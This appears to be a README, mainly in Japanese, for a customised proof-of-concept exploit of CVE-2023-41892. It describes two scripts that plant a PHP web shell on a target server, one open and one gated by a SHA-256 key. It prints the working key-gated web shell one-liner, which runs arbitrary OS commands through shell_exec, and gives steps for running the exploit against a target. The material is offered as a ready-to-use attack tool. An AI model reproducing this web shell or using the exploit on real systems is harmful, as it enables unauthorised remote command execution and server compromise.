CVE-2023-41892_poc

自分用にカスタマイズ

poc_noauth.py

• ベーシックなPHPワンライナーウェブシェル
• ?cmd=<명령어> によるOSコマンド実行

poc_auth.py

• シンプルなキーベース認証を追加したウェブシェル（SHA-256ハッシュ比較方式）
• 正しいキーを入力しないとコマンド実行不可
• コード修正が必要:
  • drop_payload 関数内の webshell 変数で YOUR_SECRET_KEY の部分を、使用するキーの SHA-256ハッシュ値 に変更
• 使い方:
  1. webshell 内の YOUR_SECRET_KEY → 平文キーの SHA-256 ハッシュ値に置き換え
  2. リクエスト時には平文キーを送信

     {target}/shell.php?k=<평문키>&c=<명령어>
     

• 例:
  1. 設定: 平文キー = test1234
  2. cyberchef 等で SHA256 ハッシュ化: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     • echo -n test1234 | sha256sum
     • cyberchef 等
  3. コード修正:

     webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
     

使い方

python poc_noauth.py {타겟}